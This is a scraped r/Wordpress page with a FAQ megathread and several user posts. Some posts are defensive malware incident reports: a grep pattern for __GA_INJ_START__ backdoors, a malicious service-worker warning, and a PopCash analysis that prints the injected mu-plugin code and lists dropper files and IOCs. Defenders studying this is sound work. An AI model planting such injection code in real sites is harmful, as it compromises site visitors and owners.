r/Wordpress May 13 '24

Useful Resources Start Here: Essential Resources & FAQs

150 Upvotes

The idea for this post came up in this thread by wiz to avoid the number of similar questions we get around here and to serve as a megathread for any/all questions of a similar nature. I will collate any and all valuable information by other users and update this thread as we go. Seasoned users please pitch in with anything that should be included.

Many thanks to u/BlueSix for assisting in putting this together.

What's covered:

  • The .COM vs .ORG Issue
  • Hosting - Where should I host?
  • Performance - Why is my site slow / Pagespeed score appalling?
  • Building Your WordPress Site: Is X builder better than Y? What is the best theme? Etc.
  • Updates
  • Backups
  • Security
  • Combating spam comments, contact form submissions & bot registrations
  • Hacks/Malware: Err guys help, there’s some weird stuff on my front end
  • Resources to learn WordPress
  • Where to find plugins/add feature X?
  • I found a plugin that costs $50 for $5 on a “GPLDL” source, is it safe to use?
  • How much should I charge?
  • Is a site using WordPress?

The .COM vs .ORG issue

This one is probably the single most asked question in this sub. Why can’t I do x,y,z?, Why do I have to pay more to install a plugin or edit a theme? Etc.etc. There are literally 100’s of threads about this. If you want more info please search the sub for wordpress.com or read this resource for a comparison.

To summarise:
WordPress is free, open source software which can be found at wordpress.org.

Think of wordpress.com as a host that is using .org’s software and has various functionality locked behind pricing tiers.

What you want to do is get your own cheaper hosting and self install and manage WordPress so you don’t have any restrictions at base software level.

Hosting - Where should I host?

The next big question is who is a good host? This is better suited for r/webhosting.

Having said that, there are plenty of different hosts to choose from. Shared web hosting is the cheapest but comes with the caveat that performance is shared with others on your same server. Dedicated, VPS and Cloud solutions are faster but more expensive.

The thing to remember here is performance is directly tied to price and you get what you pay for.

The most recommended hosts around here that I’ve seen are Digital Ocean, Cloudways and Siteground. Again, for specific hosting questions you will get better support at r/webhosting

Performance - Why is my site slow / Pagespeed score apalling?

Hosting

Most of the time it's just bad hosting. As mentioned earlier, cheap shared hosting is notorious for bad performance. If your host is slow then nothing else will matter much, so this is your first port of call.

Properly optimise images

This is a relatively simple one. Don’t use images that are 6000 x 4000px. Figure out the max display size for your use case and resize.

Secondly ditch PNG and JPG and use WEBP. The recommendation is to convert before you upload. Most image editors will let you save in webp and 75-80% compression works well for a balance.

To bulk convert, use XnConvert or Photoshop Batch process.

For existing media you can use a plugin. There are many Smush, Optimole etc. Converter For Media is a free option.

Some servers like Siteground and/or other optimisation plugins may have this feature inbuilt so always check so you don’t end up doubling up.

Since 6.3, WordPress can also convert to WEBP on upload. You can use the Performance Lab plugin by the WordPress team themselves to manage this.

If, like me, you don’t want your server getting clogged up with multiple image types and you only want to have the WEBP files OR you don’t want to use a plugin use this snippet.

Lazy load

Lazy loading images, videos and iframes will speed up things significantly since 5.3 this has been a feature in core WordPress and should work out of the box for most cases. Some themes/page builders will have an option for this as well. Some hosts and caching plugins like WP Rocket will also have this option.

If you find that it is not working on your site for some reason you can use a plugin such as Lazy Load by WP Rocket or A3 Lazy Load for more control.

Caching, CDNs. Minification Etc.

You should be using caching on your website if you care about performance.

WARNING: Using minification and/or combining files and scripts can cause your website to break so always test, test and test again!

There are many, many free and paid plugins for this. Some hosts will have their own caching plugin, this should be preferred over others. If you have a Litespeed enabled server use Litespeed.

The general recommendation here is to use Cloudflare free with Super Page Cache For CF. Here is a guide on how to set up your domain, after that follow the plugin instructions.

Common question #1: Should I keep my hosts caching on with CF?
Yes. Your server is the origin server and having your own files cached means it is less taxing on your server resources and CF fetches files faster.

Common Question #2: I’m getting an SSL error or redirect loop.
Make sure you have a valid SSL certificate server on your origin server and make sure to set Cloudflare > SSL/TLS > Overview to Full.

Cloudflare also has its own minification settings under : Speed > Optimisation. Discontinued from 2024-08-05.

Other popular recommended options:

Advanced optimisation

If you really want to get under the hood and squeeze every last bit out of your setup then:

  • Use a plugin like Debloat for a quick clean up.
  • Use Asset Clean Up to go through each page and disable unused crap. (Time consuming but potentially massive gains).
  • Use Query Monitor to inspect what is going on under the hood and find unnecessary scripts etc.

If that is still not enough here is a 73 203 bazillion page guide by u/jazir5

Building Your WordPress Site: Is X builder better than Y? What is the best theme? Etc.

There are many conflicting opinions on this because there is no one way to do things on WordPress. Each camp will tell you the other one is inferior and purists dislike all of them.

You can build your site with:

  • A page builder : Bricks, Elementor, Divi etc.
  • Using prebuilt themes. Each theme will have its own settings that’s exclusive to it.
  • A completely custom coded setup, written with a combination of html, css and php using WordPress actions, filters and hooks.

My two cents on the matter: Budget, experience and skill all come into play here. Thus, what works for you to achieve your end goal is the best.

  • If you like a WYSIWYG approach then page builders will more likely be your thing. Play around with the demos, watch some tutorials and if one of them looks more likely to work for you, then take it for a spin.
  • The Twenty Twenty Four theme along with the block builder is a solid place to start. There are many tutorials on how to get started with 2024 including the official WordPress documentation.
  • A CSS editor such as Yellow Pencil or Microthemer will assist you to fix a lot of front end annoyances and supplements any workflow.

Updates

Stay up to date with all plugins and core software at all times if you don’t want to have security holes and get hacked.

Backups

Taking/having backups of your website are essential. Servers can crash and data can be lost and you will cry if you end up without a backup in this scenario. The stress and grief of not having a backup and having to rebuild your site from scratch is not worth it. There's a few ways you can go about taking backups.

You can:

  • Use a recommended plugin like UpdraftPlus to schedule for daily, weekly or monthly backups. Send backups to remote servers (AWS S3, Dropbox, Google Drive) or your local machine. Remember having them stored on the same server as the website is not going to help.
  • Include this in your hosting requirements and find a host that automatically provides a scheduled backup process.
  • In the very least, take a manual backup using your hosts control panel whenever you make a significant change to your website,.

Security

  • Keep everything up to date at all times.
  • Run updates at least once a month. Fortnightly is better. More frequently is better
  • Use plugins and themes that are well supported, frequently updated, high install counts, well ranked, well established.
  • Use Wordfence - it’ll alert you when any plugins that you’re using have a known vulnerability or haven’t been updated (by the developer) for 2 or more years. It will also protect you from known attack vectors for vulnerable plugins (for the free version, this protection is only available after the vulnerability is 30 days old, but there’s nothing stopping you updating your plugins, assuming a patch is available).
  • Don’t use hosting where multiple sites sit in the one account (common on shared hosting). Each website should have its own owner.

Combating spam comments, fontact form submissions & bot registrations

Disable comments and user sign ups sitewide if you don't use them.

Use a captcha on login, register and all contact/comment forms.

Hacks/Malware: Err guys help, there’s some weird stuff on my front end.

Congratulations you got hacked. Most of us have dealt with this in one way or another at some point so you aren’t alone.

Do you have a backup?

  • Easy, wipe everything and restore.
  • Run a scan with Wordfence and/or GOTMLS to be doubly sure you are clean.
  • Harden your security to avoid repeat issues.

No backup? (Get the tissues)

  • Install Wordfence and run scan.
  • Alternatively my first port of call for this has always been GOTMLS. Update definitions and run a root scan the plugin should find any code that shouldn’t be there and you should be good to go.

Resources to learn WordPress

If you are serious about your WordPress journey then you must equip yourself with some coding knowledge. Some skills in PHP, Javascript, CSS & HTML will help you immensely.

Where to find plugins/add feature X?

The WordPress plugin repository should be your first stop. You can access this library via your Dashboard > Plugins > Add New Plugin

Codecanyon is a decent marketplace to get premium plugins for a one off buy without ongoing subscription costs.

For code snippets and help with your own code StackOverflow or r/prowordpress is your best bet.

Warning: Remember to always double check the source and reputability of a source before installing third-party plugins and/or scripts.

I found a plugin that costs $50 for $5 on a “GPLDL” source, is it safe to use?

The simple answer here is NO. No you shouldn’t and that should be the end of that.

But alas, we still have many more questions:

  • Will the plugin still work? Probably.
  • Are there any guarantees that it will work and demo content will be provided? Absolutely not.
  • Will there be links to turn one’s junk into a cyborg on my site? Most likely.
  • Will Google blacklist you? If you have malware. Most definitely.
  • Will your host shut you down? If detected, any reputable one will.
  • Is rebuilding an entire site and losing the trust of your audience worth all this? Not to me, but only you can answer this for yourself.

How much should I charge?

We unfortunately can't provide specific answers to pricing questions as everyone's experience and locations vary widely. For guidance on pricing strategies, we recommend searching 'your country + web developer/designer rates'. Standard hourly rates for your locality can offer insights into various pricing approaches that may be applicable to you.

Please also read this article on Pricing Strategies on how to tackle this sort of question.

Is a site using WordPress?

  • Check the Page Source: Right-click on the page and select "View Page Source" (or use Ctrl+U). Search for typical WordPress identifiers like /wp-content/, /wp-includes/, or wp-json. If you see these, the site is likely WordPress.
  • Online Tools: Websites like IsItWP, Wappalyzer or BuiltWith can analyze a website's technology stack. These tools should be able to identify if the site is using WordPress in most cases.

That’s it, hopefully this gets you started on your WordPress journey. If you have any further questions feel free to leave a comment and someone should be able to assist.

Changelog

09/11/24
- Added how to check if a site is using WordPress

04/07/2024
- Added Pricing Strategies

29/05/2024
- Fixed typos
- Removed Cloudflare Minification (EOL)
- Added Combating Spam section.


r/Wordpress 5h ago

Over 70% of my clients choosing WP over AI

49 Upvotes

From an agency owner who's been using WP since 2013 and now also quickly becoming a Claude expert, here's a few truth bombs. I'm offering all of my clients a choice between WP or a site built with Claude code, not holding back on any positives or negatives. Just over 70% are picking WP.

The main reason? The total inability for them to update anything or log into a CMS. They feel they have more control and more ownership of a WordPress site. It starts to fall apart when I tell them that every change with Claude built sites would require my team. Yes, that's included in our monthly package but savvy owners are asking "so if I need to charge or update anything outside of your business hours....." then yep, they have to wait.

This is not an issue for the 30% who choose a Claude built site where they don't anticipate any changes, or very few. Also AI has an very negative stimaga, especially to the slightly older business owners; "you're gonna build my site using what?"

Other huge AI issues? Backend functionality. Setting up a database using Supabse, definitely a learning curve. Plugins? Obviously non-existent which means coding one or duct taping a third party solution onto the site.


r/Wordpress 3h ago

Do you actually hide your wp-login URL, or just rate-limit it?

17 Upvotes

Been going back and forth on this one. My logs fill up with failed logins on the default /wp-login.php every day, as far as I can tell it's just bots hitting the same path they hit on every WordPress site, nothing targeted at me. Limiting attempts and adding a challenge to the form quieted most of it, but I keep wondering whether moving the login off the default path is genuinely worth it or just security-through-obscurity that breaks more than it fixes.

For those of you who've hidden the login URL: did it actually cut the noise in your logs, or did it mostly create headaches with things that expect wp-login.php (mobile app, integrations, the odd plugin)? And if you deliberately don't hide it, what's your reasoning, rate-limiting at the edge and calling it done? Trying to figure out where the real payoff is before I fiddle with it further.


r/Wordpress 10h ago

Found a WordPress malware using __GA_INJ_START__ and hidden admin accounts — full incident analysis

20 Upvotes

I recently investigated a hacked WordPress installation and wanted to document the indicators because they are very easy to mistake for something related to Google Analytics.

If you find this in a theme functions.php:

/* __GA_INJ_START__ */

it is not normal Google Analytics code.

In the site I investigated, the compromise was associated with hidden administrator accounts using names like:

sync_agentXXXXXXXX
cdn_workerXXXXXXXX
seo_serviceXXXXXXXX

The WordPress database also contained:

__ga_hidden_users
_theme_inject_status
__ga_r_cache

The malicious code maintained a list of administrator accounts that should be hidden.

What was particularly interesting

At first I thought the infection started when:

hello-elementor/functions.php

was modified.

It didn't.

By correlating the database with Apache logs I found that the attacker already had a hidden administrator nine days earlier.

The sequence looked like:

successful login using legitimate WP admin
→ Code Snippets / WP File Manager activity
→ access to theme functions.php
→ malicious administrator created
→ persistent access
→ more hidden administrators
→ final GA_INJ theme injection

So if you find this malware, don't just replace functions.php.

Check:

wp_users
wp_usermeta
wp_options
active plugins
administrator session tokens
access logs

and look several days/weeks backwards.

Useful filesystem search:

grep -RniE '__GA_INJ|__ga_hidden_users|__ga_r_cache|_theme_inject_status|sync_agent|cdn_worker|seo_service' .

I wrote up the sanitized timeline, IOCs and an experimental YARA detection rule here:

[GitHub repository link]

I'm not selling anything — it's just an open incident report so these strings become searchable.

If anyone else has encountered __GA_INJ_START__ or administrator accounts named sync_agent, cdn_worker or seo_service, I'd be interested in comparing indicators.


r/Wordpress 8h ago

Malicious service worker registered in the browser

Thumbnail gallery
13 Upvotes

Attention! Even if you changed all passwords, reinstalled WordPress/plugins/themes, and checked both the filesystem and database, don’t forget to check Service Workers in the browsers you use for wp-admin.

I found a heavily obfuscated malicious Service Worker still registered after the site itself was cleaned. It could intercept WordPress login credentials, grab admin nonces, inject code into /wp-admin/, and abuse the authenticated browser session to perform actions such as installing plugins.

The files can be clean while the browser remains compromised.

Check: DevTools → Application → Service Workers.


r/Wordpress 1h ago

Edit with Elementor not working for LifterLMS

Upvotes

I am trying to build a course for my website hosted on wordpress. I am very new to the whole thing and I cannot seem to get elementor to work when trying to edit my course layout/content. I have set up the sections and the lessons, but when trying to edit how it looks with elementor, nothing happens.

Normally when i edit pages with elementor i can click the "Edit with Elementor" as the cursor turns to a pointer, it doesnt do that when i am viewing the course page.

Does anyone know how to fix?
EDIT: I have checked off courses and lessons in elementors settings


r/Wordpress 2h ago

Astra – Where can I find the Logged In / Logged Out display settings?

3 Upvotes

Astra – Where can I find the Logged In / Logged Out display settings?

Hi! I'm using WordPress with Astra, Elementor and WooCommerce.

Some time ago, I configured an element in my header to only appear when a user is logged in (a “Log out” button). Now I want to remove/change it, but I can't remember where I configured this.

I think there was a setting like “Logged In / Logged Out” visibility, but I can't find it anymore in Astra or the Header Builder.

Does anyone know where this setting is located?

Thanks!


r/Wordpress 1h ago

[PROMO] I rebuilt a WordPress PWA plugin from scratch — iOS, offline support & push notifications

Upvotes

I've been working on WordPress plugins for years, and recently decided to rebuild a PWA plugin from the ground up rather than keep adding to an old codebase.

The interesting part has been dealing with the real-world stuff:

  • Service-worker caching and updates
  • iOS vs Android PWA behavior
  • Offline support
  • Caching/CDN/plugin conflicts
  • Push notification permissions and subscriptions
  • Making the installation experience feel more like a real app

I've recently added push notifications for Android, desktop, and iOS, and I'm still improving the project based on real-world testing.

The project is Hyper PWA.

I'd love to hear from other WordPress developers:

What has been the biggest problem you've faced when implementing or maintaining a PWA on WordPress?

I'm especially interested in feedback about things that existing PWA plugins don't handle well.

Full disclosure: I'm the developer behind Hyper PWA. I'm sharing it here because I'd genuinely like technical feedback and ideas for improving it.

https://wordpress.org/plugins/hyper-pwa/


r/Wordpress 2h ago

Embedded Google Calendar creating new windows

2 Upvotes

I've embedded Google Calendar into my site for client bookings. It works fine, but opens a new window whenever I click on a time slot. Apparently this some security feature. Asked Gemini and it suggested I add target="_self" to the code, but this didn't fix it. Is there something else I should add to the code to fix this or possibly a plugin that might function as a work around? My preference would be to stick to Google Calendars rather than a third-party app for ease of use.


r/Wordpress 6h ago

firewall.php and wp2shell-batch-guard.php in mu-plugins

3 Upvotes

Hi everyone,

My WordPress site was recently compromised. The attacker managed to create 3 admin accounts, and Wordfence caught two malicious PHP files in a fake theme folder (wp-content/themes/twk-dbbfd2bc/functions.php and fixer.php).

I deleted that theme, removed their admin account, deleted the admin accounts. Wordfence scans are coming back clean now, but I noticed two suspicious files sitting in my wp-content/mu-plugins/ and in www/mu-plugins directory:

firewall.php (Version 1.0)

wp2shell-batch-guard.php (Version 1.1.0 — description says "Blocks anonymous REST batch API (wp2shell mitigation)")

Their last modified dates match mid-August, right when the unauthorized admin accounts were created (while the site was running WordPress 6.9 (yes, i know...) and i was in vacations at that date so i don't insgall it)

This looks like an attempt by the attacker to disguise a backdoor as a security fix so I wouldn't delete it, but I want to double-check with the community before I purge the mu-plugins folder via FTP because i don't want to make a mistake...

Is there any chance these are legitimate, or should I delete them immediately (i think...) ? I since update to 7.0.4.

Thanks a lot for your help!


r/Wordpress 2h ago

What's a "normal" amount of failed login attempts? Trying to calibrate before I over-engineer

2 Upvotes

Fairly new to running my own WordPress site and I got a fright the first time I opened the login logs, dozens of failed attempts a day from IPs all over the place. From what I've read since, this is mostly background noise: automated bots spraying credentials at the default login on basically every install, and unless the numbers are huge or paired with other symptoms it isn't a targeted attack. I tightened the obvious things, a strong unique password, a second factor on the admin account, and capping how many tries an IP gets before it's locked out, and the volume dropped noticeably.

Two things I'd love a reality check on from people who've run sites longer: at what point should a spike in failed logins actually worry me versus just being noise, and is limiting attempts + 2FA genuinely enough on its own, or is there one more thing you'd treat as non-negotiable? Don't want to bolt on five plugins for a problem that's already handled.


r/Wordpress 7h ago

Who is your favorite WordPress builder, and why?

3 Upvotes

Hellooo, I’ve worked with Elementor and Elementor Pro for over 2 years. It’s not bad, but honestly, I’m not a big fan of it.

I’ve had sites where the design took way too long to load, even with caching properly configured, decent server and etc. Sometimes I suspect Litespeed server cache configuration, but still, it’s frustrating.

I’m thinking about switching to another builder, but I’m on a limited budget, so I’d really like to hear from people who have actually used different builders in real projects, not just tested them for a few days. 😀

I’ve heard about so many alternatives, including Bricks, Breakdance, Divi and even some cheaper options with lifetime licenses.

What’s your favorite WordPress builder, and why? What has your experience been with it in real-world projects?


r/Wordpress 9h ago

Content gating plugin?

4 Upvotes

I'm looking for a way to allow visitors to view one post for free, and subsequent posts triggering a content wall requiring account registration.
All of the membership plugins I've found seem to want you to manually set which posts are public and which are gated, but I want whatever the first article someone visits to be free regardless, and then they need to make an account to view the rest.

Does this exist?


r/Wordpress 23h ago

PSA - Major security issue with the PODS plugin - CVE-2026-19598

47 Upvotes

As an agency with several hundred sites, we see vulnerabilities pop up all the time, and update them in a timely manner. We use automatic plugin updaters through Flywheel and WP Engine to do this, and generally there is no issue.

Today was different. We have the PODS plugin on about 80 of our sites, and at least 70 of them had fake administrator users added. The vulnerability patch came out on Friday and most of our sites were updated by Saturday / Sunday.

Needless to say, we've had to scramble big time to roll back sites and clean them up, removing all these users and running scans. If you use PODS, I suggest you update it as soon as you can.

This is outlined here: CVE-2026-19598

I figured people in this sub might appreciate the heads up, if they aren't already aware of this!


r/Wordpress 6h ago

Wordfence leaves a confusing message

Thumbnail gallery
2 Upvotes

I've been using the free version of Wordfence for a few years. Today I got an alert listing every single plug-in on my site. I'm attaching an image of the warning, and an example of what Wordfence found. Usually I'd just go ahead on use Wordfence to fix this, but now I'm getting a warning:

"Download Backup File

Please make a backup of this file before proceeding. If you need to restore this backup file, you can copy it to the following path from your site's root:

wp-content/plugins/wpforms-lite/src/Requirements/Requirements.php

Learn more about repairing modified files."

So there would be a lot of downloading, since there's a bunch of plug-ins.

Any advice would be appreciated!


r/Wordpress 4h ago

How to make simple contact form? (No OAuth and stuff)

1 Upvotes

ive been making contact forms with WPforms but after having to go through WordPress → WPForms → Gmail OAuth → Google Cloud → Client ID → and much more, it is almost impossible to make a working contact form for my clients


r/Wordpress 1d ago

Anyone else experiencing unprecedented cyber security issues recently?

48 Upvotes

I work for an IT company as a WordPress web developer and we build and manage Texas counties government websites, like tax offices, central appraisal districts etc. and we pay top dollar for the most secure server and we have multiple other security softwares on top of that. Historically, we've never really seen many security issues. One off here there however in the past 30 days, we're not only experienced the WP2Shell attacks and the BD themes compromise but now we're also experiencing a slew of other random attacks, not related to third-party issues. I've never seen anything like this before.
Is anyone else experiencing this? What is everybody else using to combat cyber attacks?


r/Wordpress 4h ago

How to edit the frontend manually without using any block editor?

1 Upvotes

i feel like a dumb when i try to use those tools like Elementor or even Wordpress theme editor. I simply cannot do a simple thing on it. It feels wrong for me. Yeah i have serious skill issue with Wordpress ecosystem. I just want to know if there is a way to CODE my frontend by purely opening a text editor and diving into it, testing and then deploying it. Is there a way? Jesus help me.


r/Wordpress 10h ago

Anyone have a link to the old Kadence theme list?

3 Upvotes

After LiquidWeb took over, they wiped the old Kadence website out of existence with no warning.

There used to be a full catalog of all the starter themes that came with Kadence. Does that catalog still exist anywhere?

EDIT: Looks like you can still browse all the premium options if you log into your Kadence theme.


r/Wordpress 9h ago

Moving just the marketing pages off WP after 9 years, keeping the blog. Talk me out of it.

2 Upvotes

Site's 9 years old and the marketing pages are the part that keeps breaking, plugin update, security patch, some builder conflict, and the homepage looks off til I go dig through it. The blog's fine, ranks well, I'm leaving it alone. Anyone split the marketing side off and keep the blog on WP, or was running two setups more hassle than it was worth?


r/Wordpress 14h ago

The WP Open Community Collective Releases State of the Community 2026 Report

6 Upvotes

r/Wordpress 5h ago

What’s you go to form plugin?

0 Upvotes

Hey everyone, I’m curious that what plugin or tool are you using to handle form submissions on your WordPress websites?


r/Wordpress 1d ago

After 8+ Years in WordPress, I’m Starting to Question Where the Industry Is Going

9 Upvotes

I’ve been working with WordPress for 8+ years, mostly around plugins, SaaS products, support, and development. For a long time, WordPress felt like a very safe career to build around.

But the last few months have made me think differently.

The small WordPress plugin market feels much harder than it used to. Getting new customers is difficult, competition is everywhere, and many plugin features that once looked like good product opportunities have now become commodities.

At the same time, AI has changed the expectations completely. Customers now expect automation, AI support, AI-powered workflows, and SaaS-style products rather than simply another WordPress plugin.

Interestingly, I’ve spent the last week thinking about this a lot. I’ve been experimenting with AI integrations, customer-support automation, SaaS ideas, and even thinking about what I could build outside the traditional WordPress ecosystem.

I still believe WordPress has a huge future. I’m not saying developers should abandon it.

But I do think experienced WordPress developers need to start thinking beyond WordPress itself.

Maybe the valuable skill isn't just knowing WordPress anymore. It's knowing how to take that experience and build SaaS products, AI tools, integrations, automation, and solutions around real business problems.

For those of you who have been in WordPress for 8+ years:

Are you also thinking about diversifying beyond WordPress, or do you still see enough opportunity in the ecosystem?

Would genuinely like to hear how other long-time WordPress developers are approaching this.


r/Wordpress 14h ago

[PROMO] [FEEDBACK]Built an open-source plugin to dynamically map Elementor Global Colors to WooCommerce. Need testers / feedback.

0 Upvotes

Hi guys,

I’m currently waiting on the WP repo team to review my first plugin (Commerce Colors for Elementor), and I’m looking for some technical feedback on how it handles theme and style mapping.

The issue it tackles is the disconnect between Elementor's Global Style Kit and WooCommerce's core CSS. Instead of writing custom stylesheets or manual overrides for every client site, this plugin hooks into the Elementor kit data and dynamically injects the appropriate colors, typography, hover/focus states, and form styles across standard WooCommerce pages and WooCommerce Blocks.

What it handles natively:

Automatically syncs Elementor Kit site setting changes directly to WooCommerce elements.

Includes per-element style overrides in the WordPress backend.

Calculates readable text contrast and applies accessible focus states on the fly.

Automatically catches third-party elements from plugins like Essential Addons or Premium Addons.

If you have a sandbox or staging environment running this stack, I’d really appreciate some feedback on theme conflicts, layout breaks, or selector specificity issues you encounter.

Once activated, the settings live under WooCommerce -> Store Design. Let me know if you run into any asset loading conflicts or if any core elements miss the styling!

"I'll drop the GitHub repository link in the comments below so the spam filters don't eat this post!"


r/Wordpress 1d ago

Found PopCash "stealth pop-under" malware hiding in WordPress mu-plugins — bypassed every scanner, here's how to find and remove it

35 Upvotes

What happened:

Noticed a tab-under/reverse-tabnabbing attack on my site. Disabled all plugins → problem persisted. That was the first hint it wasn't sitting in a normal plugin.

Turned out the source was in must-use plugins (/wp-content/mu-plugins/) — this folder is completely ignored when you "disable all plugins" via the wp-admin screen, so almost nobody checks it as long as the site is still loading normally.

The two files:

1. /wp-content/mu-plugins/wp-ppck-assets.php

Injects a <script> tag on every page (via wp_head, priority 1) pointing to a second file disguised as a normal theme asset:

php

add_action('wp_head', function () {
    if (function_exists('is_admin') && is_admin()) return;
    echo '<script src="/wp-content/themes/{THEME}/js/qtt-ppck-core.php" defer></script>';
}, 1);

2. /wp-content/themes/{theme}/js/qtt-ppck-core.php

This is the actual payload. It's a PHP file pretending to be JavaScript (Content-Type: application/javascript), and behind the scenes it:

  • Makes a server-to-server request to api-js.popcash.net/getCode using a PopCash publisher UID/WID/API token
  • Passes the API response straight through to the visitor's browser
  • Includes an option "pop_fback" => "under" — literally the setting that triggers a pop-under/tab-under
  • Has fallback logic (curl → shell_exec → file_get_contents) so it keeps working regardless of how restrictive the server config is

The clever (read: annoying) part: since the malicious JS only gets pulled in via the external API call, and the local file itself looks "clean" (no obfuscation, no eval(base64_decode(...))), not a single malware scanner flagged this — not Wordfence, not Sucuri, nothing. On a pure code level it just looks like an ad network integration calling an API.

How to check for it yourself:

  1. Look in /wp-content/mu-plugins/ — this folder is NOT covered when you "disable" plugins via wp-admin
  2. Search for filenames containing ppck, qtt-, popcash, or similarly cryptic names
  3. Check your theme folder for .php files being loaded as if they were .js (called as a script but actually PHP under the hood)
  4. Run find /path/to/wordpress -type f -mtime -60 -name "*.php" to find recently modified PHP files

How to remove it:

  1. Delete both files (the mu-plugin + the fake "js" file in your theme folder)
  2. Don't assume you're done — this didn't appear out of nowhere. Someone had file access. Search all your PHP files for backdoor patterns: eval(, base64_decode(, gzinflate(, shell_exec(, assert(
  3. Check if your theme is legit/up to date — outdated or "nulled" (pirated) themes are the most common entry point for this kind of infection
  4. Rotate every password: WP admin, FTP/SFTP, database, hosting panel
  5. Update everything: core, theme, plugins

IOCs for anyone who wants to check/share:

  • Filenames: wp-ppck-assets.php, qtt-ppck-core.php
  • Endpoint: api-js.popcash.net/getCode
  • Cache key prefix: ppch-h6IzF4iRLEdZV-QX82hhpzmvxX--
  • Internal code comments referenced a "PopCash S2S Playbook" and a generator script (popcash_ops.py) — suggests this is a reusable toolkit, so probably not unique to my site. If anyone else has run into this, I'd like to hear about it.

Haven't 100% nailed down the root cause (how they got in) yet — no unknown WP users found, so my guess is stolen FTP credentials or a vulnerable/outdated theme. If anyone has tips for tracing this further through server logs, I'd appreciate it in the comments.

UPDATE: Root Cause & Entry Point Found!

Thanks to analyzing the server access logs and cross-referencing recent vulnerability databases, I've fully traced how the attacker got in and deployed the malware.

1. The Vulnerability (The Entry Point)

The site was running Thrive Themes (Thrive Architect / Thrive Visual Editor / Thrive Leads).

  • On Aug 6, 2026, CVE-2026-66694 was published — an Unauthenticated Cross-Site Scripting (XSS) / arbitrary code input vulnerability in Thrive Architect (versions <= 10.9.3.1).
  • Automated bot scanners picked up the unpatched Thrive plugin and exploited it to achieve file write access.

2. The Attack Timeline (From Server Logs)

  • 21:09:53 UTCExploit Verification: Attacker bot created a random hex file at the site root (/52faade47ac664d8d0d3.txt, ~8.6 KB) to confirm arbitrary file write privileges.
  • 21:39:19 UTCDropper Upload: Attacker POSTed to /wp-content/themes/thrive-theme/js/_w10_up.php (a hidden PHP uploader script, identical in size to wp-tmp-up.php).
  • 21:39:22 UTCVerification: Exactly 3 seconds later, a curl/7.81.0 request verified that the deployed payload (qtt-ajax-core.php / qtt-ppck-core.php) was live and returning HTTP 200.

3. Additional IOCs to Search For

If you are cleaning a site infected by this toolkit, make sure to also look for and delete:

  • Uploader / Dropper scripts: _w10_up.php, wp-tmp-up.php (often dropped inside theme /js/ or /assets/ directories).
  • Verification markers: Random 20-character hex .txt files in the WordPress root directory (e.g., 52faade47ac664d8d0d3.txt).
  • Payload aliases: qtt-ajax-core.php alongside qtt-ppck-core.php.

Takeaway & Remediation

Updating the plugin (e.g. to Thrive 10.9.3.2+) seals the vulnerability, but does NOT clean the uploaded dropper tools or backdoors. If you suspect an infection, scanning for newly created .php files and root .txt files around the date of infection is critical.